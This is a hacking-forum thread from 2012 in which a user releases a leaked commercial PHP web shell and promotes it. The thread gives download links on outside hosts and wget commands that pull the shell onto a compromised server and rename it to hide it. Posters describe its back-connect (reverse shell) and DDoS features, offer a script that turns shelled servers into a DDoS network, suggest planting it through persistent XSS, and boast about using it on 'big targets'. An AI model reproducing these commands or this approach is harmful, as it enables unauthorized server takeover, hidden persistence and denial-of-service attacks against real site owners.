Thread: [\[PHP WebShell\] SyRiAn Sh3ll V5.6](#)

rcvrcv - December 6, 2012, 7:10 pm

Ok, here's a pretty cool shell I use. Here's a screen shot (many more functions you can't see). It comes with a login and password prompt to protect your shell.

Here's the source: Code <http://the.worldend.in/syr.txt>

You want to change your password here: PHP Code

```
<?php
```

```
$user = 'changeme';
```

```
$pass = 'changeme';
```

```
.
```

Obviously change to what you want it to be.

if you want to use this shell and have cmd execution you could run something like: Code `wget http://the.worldend.in/syr.txt&&mv syr.txt syr.php` then the shell would be on the server as `syr.php`

Good luck shelling and cheers to all!

Mountain Dew - December 6, 2012, 7:20 pm

Sweet shell and awesome user Vouch for RCV.

Starfall - December 6, 2012, 7:22 pm

This is the real \$50 version, guys. The one Syrian Eagle was selling before his site went down a while back.

Much better than the public version 3 and "7" which is just a re-theme of 3.

?Hycca - December 6, 2012, 7:30 pm

Thanks for the release. I will not use this but I will add it to my collection of shells.

cheatson - December 6, 2012, 7:44 pm

Very nice. Does anyone have a cache of the tools that get pulled from his site like the cgi and perl stuff?

ajvpot - December 6, 2012, 7:55 pm

Vouch. This is the legit version of syrian shell.

tux1 - December 6, 2012, 7:56 pm

Nice shell, looks a bit cluttered through.

Atrocious? - December 6, 2012, 8:16 pm

Nice Shell ;)

Thanks for the shell ;)

Starfall - December 6, 2012, 8:30 pm

(Dec 6, 2012 08:44 PM)cheatson Wrote: [\[CITE\]](#) Very nice. Does anyone have a cache of the tools that get pulled from his site like the cgi and perl stuff?

I could procure them but I can't get them within a reasonable amount of time (a few hours). They're all public stuff anyway.

rcvrcv - December 6, 2012, 8:38 pm

This shell has a great back connect feature as well that's pretty interactive as far as php back connects go. I highly recommend it.

The login page is great too. Not very easy to brute if you set your username and password correctly.

cheatson - December 6, 2012, 8:39 pm

(Dec 6, 2012 09:30 PM)Starfall Wrote: [\[CITE\]](#) I could procure them but I can't get them within a reasonable amount of time (a few hours). They're all public stuff anyway.

It just crossed my mind that it would be good to get them on a server at some point for completeness and update the source. I'll see if I have more time later and go hunt for them.

rcvrcv - December 6, 2012, 9:04 pm

You can also write a simple python script to use these shells as a ddos'r. Just use the URL and login and pass and use the built in dos feature.

Bacardi - December 7, 2012, 1:05 am

Looks great although too bad the cgi scripts etc don't work.

rcvrcv - December 7, 2012, 6:39 am

Remember this is a paid shell that is being released. Would cost ya \$50 so make use of it while it's out there. It has a lot of features and may look cluttered but it works just fine. Like I said the backconnect feature is great and it really is a high quality shell I wanted to share with the community.

mathisen99 - December 7, 2012, 7:11 am

nice one.. il like it alot thx alot for this! ?

RyanC - December 7, 2012, 7:19 am

(Dec 7, 2012 07:39 AM)rcvrcv Wrote: [\[CITE\]](#) Remember this is a paid shell that is being released. Would cost ya \$50 so make use of it while it's out there. This shell is terrible, you are leaking a shit product that someone is selling for \$50 and trying to act like it's something amazing. It isn't.

rcvrcv - December 7, 2012, 7:46 am

That's your opinion which you are entitled to. I think it's a good shell to be released and used.

RyanC - December 7, 2012, 7:55 am

(Dec 7, 2012 08:46 AM)rcvrcv Wrote: [\[CITE\]](#) That's your opinion which you are entitled to. I think it's a good shell to be released and used.

It has also been leaked a million times before.

The Ion - December 7, 2012, 8:25 am

thanks for the shell i have added it to my collection :)

rcvrcv - December 8, 2012, 5:28 am

NP, I will be making more releases like this in future.

If anyone has any questions on scripts you can make to use with this shell just PM me.

claymore - December 8, 2012, 6:43 am

Thought, someone wants to see this.

Catzbow - December 8, 2012, 7:13 am

Well, it's really a nice thing.

I thought about this a lot of times but I had not time for this.

Thank you for sharing man.

rcvrcv - December 8, 2012, 7:18 am

No problem. I plan on release other private shells as I come across them.

Thinking about modifying this a bit just for HF, would anyone be interested in that?

Impuhlsive - December 8, 2012, 9:07 pm

Thanks for the share RCV. Will definatly help someone out!

halc - December 8, 2012, 9:11 pm

(Dec 8, 2012 08:18 AM)rcvrcv Wrote: [\[CITE\]](#) No problem. I plan on release other private shells as I come across them.

Not really

I personally think it would be shit

rcvrcv - December 8, 2012, 9:19 pm

Lol, meanie. I think so too though...

b001ean - December 9, 2012, 2:11 am

Thanks man!! nice Share.. Helped a lot..

rvltr - December 9, 2012, 6:22 am

every other copy of this ive seen was backdoored as fuck

good to finally see one that isnt

nice share bro. this will be added to the collection for sure ;)

rcvrcv - December 9, 2012, 8:42 am

Anyone want the python script to ddos with these?

Illicit - December 9, 2012, 11:45 am

Nice share OP, Id use it if didnt have any of the patriotic stuff -.-

rcvrcv - December 9, 2012, 11:59 am

Lol, you can ignore that of course... ;)

shantanuchauhan - December 9, 2012, 12:40 pm

Seems to be great and when it will work for me defintely vouch for you.

Unlock Solutions™ - December 9, 2012, 5:25 pm

Syrian Eagle is disappear in syria from 5 month

rcvrcv - December 9, 2012, 6:23 pm

Sad to hear that. Hope he is ok... Let this be a tribute to him...

Chopstick - December 9, 2012, 6:25 pm

Saudi Shell is a very good shell too;)

rcvrcv - December 10, 2012, 8:11 am

iSkull, could you keep us posted on syrian eagle ITT please. I am a big fan of his work.

xRate - December 10, 2012, 8:13 am

Why are you thanking Allah? Not to disrespect your belief or God, but do you find it morally okay to put such things on tools that are used for hacking website's?

rcvrcv - December 10, 2012, 8:14 am

I didn't write this tool. Syrian Eagle's crew did. Please don't confuse this is just a release of his web shell.

xRate - December 10, 2012, 8:16 am

(Dec 10, 2012 09:14 AM)rcvrcv Wrote: [\[CITE\]](#) I didn't write this tool. Syrian Eagle's crew did. Please don't confuse this is just a release of his web shell. Oh, sorry then. I should read the OP better I gues..

rcvrcv - December 10, 2012, 10:50 am

It's fine, thanks for clearing that up.

claymore - December 11, 2012, 10:47 am

If anyone wants to know, tested it recently and it's kinda good.

Vexes - December 11, 2012, 10:49 am

Why did you not just have it do:

Code wget \$URL -o syr.php

That way you don't need the extra mv command?

Pioneer - December 11, 2012, 10:51 am

Didn't <http://intersploit.net/> distribute this? I got this shell and I got it for free.

rcvrcv - December 11, 2012, 10:53 am

They actually distributed a version vulnerable to login bypass I heard.

(Dec 11, 2012 11:49 AM)Vexes Wrote: [\[CITE\]](#) Why did you not just have it do:

Code wget \$URL -o syr.php

That way you don't need the extra mv command?

true, you could do it either way. Thanks for the comment.

PongViking - December 11, 2012, 1:38 pm

Nice Shell ;)

Thanks for the shell ;)

rcvrcv - December 12, 2012, 11:15 am

No problem, I will release more as they come in...

ImSecure - December 13, 2012, 2:31 pm

Gonna check this shell, thanks for sharing !

rcvrcv - December 15, 2012, 1:12 am

no problem, got another comin very soon!

rvltr - December 26, 2012, 4:35 pm

this shiznit

used this on a few big targets lately and its a decent ass shell

uSploit - December 26, 2012, 4:41 pm

Nice share.

Seems usefull! Ill check this out for sure. As soon as i have finished my next tutorials.

Probably took a hell in creating this. Any special features?

~ uSploit

rcvrcv - December 26, 2012, 5:59 pm

theres a python script that allows for them to all ddos at once, its pretty neat, if people want it i guess ill release it.

adnarrow - December 26, 2012, 10:17 pm

very nice is anyone suggest me how can i use it with xss i found xss on one site just want to know how can i use it with the xss

rcvrcv - December 27, 2012, 6:23 am

if its persistent you can link it to a page with the shell there

Sexyperson99 - December 28, 2012, 11:10 am

I used this on a big target. It was an excellent shell.

leg1tt - December 29, 2012, 12:26 pm

Wow thanks for this! Gonna have some fun:)

lippzin - December 29, 2012, 2:17 pm

Good shell ..

thanks for the shell :D

rcvrcv - December 29, 2012, 3:07 pm

the syrian shell is now on this because my http doesnt work for other server, please use this link

Code <http://the.worldend.in/syr.txt>

5NiP3R - December 29, 2012, 3:37 pm

Honestly, I don't like this shell. It doesn't do half of what I would expect. I've been using it for about a week

?Hycca - December 29, 2012, 3:39 pm

(Dec 29, 2012 04:37 PM)5NiP3R Wrote: [\[CITE\]](#) Honestly, I don't like this shell. It doesn't do half of what I would expect. I've been using it for about a weekExactly. The GUI is horrible. I just use a basic shell like Phizo's shell.

rcvrcv - December 29, 2012, 4:46 pm

who uses shells for their guis and not their awesome functions and security lol?

not like the gui is lacking or anthing... stop hating.

Light Yagami. - December 29, 2012, 5:20 pm

Dam that is a nice looking shell you have my friend.

rcvrcv - December 29, 2012, 6:31 pm

be sure to use new link : Code <http://37.221.160.171/syr.txt>
then you would

Code `wget http://37.221.160.171/syr.txt&&mv syr.txt syr.php`
and `syr.php` will be on the server.

enjoy this wonderful tribute to syrian eagle, speaking of him, has anyone heard from him??

Noah™ - December 29, 2012, 6:35 pm

Thanks for this share rcvr person xD looks like a pretty nice shell

rcvrcv - December 30, 2012, 7:53 am

Code <http://sockstress.in/syr.txt>
is also working link

Code `wget http://sockstress.in/syr.txt -o syr.php`
you dont have to call it `syr.php` you can call it what you'd like to hide it better.

enjoy, if you need help just ask.

remember change this in this code (its on lines 3 and 4):

PHP Code

```
<?php
$user = 'changeme';
$pass = 'changeme';
```

to the username and password of your liking.

rvltr - December 30, 2012, 5:22 pm

ddos func and backconnect seem to be not working correctly, however a fix should be avail shortly

rcvrcv - December 31, 2012, 1:57 pm

ok so we fixed syrian shell, as rvltr said there was a backconnect and ddos function problem, thats fixed. there was also a possible login bypass that was fixed. please update your shell folder with the new working shell.

Code <http://sockstress.in/syr.txt>
to use it, use an upload function or just run

Code `wget http://sockstress.in/syr.txt -o syr.php'`

the shell will be on `syr.php` or whatever you chose to call it.

PHP Code

```
<?php  
$user = 'changeme';  
$pass = 'changeme';
```

change the above if you dont want people to know your username and password.
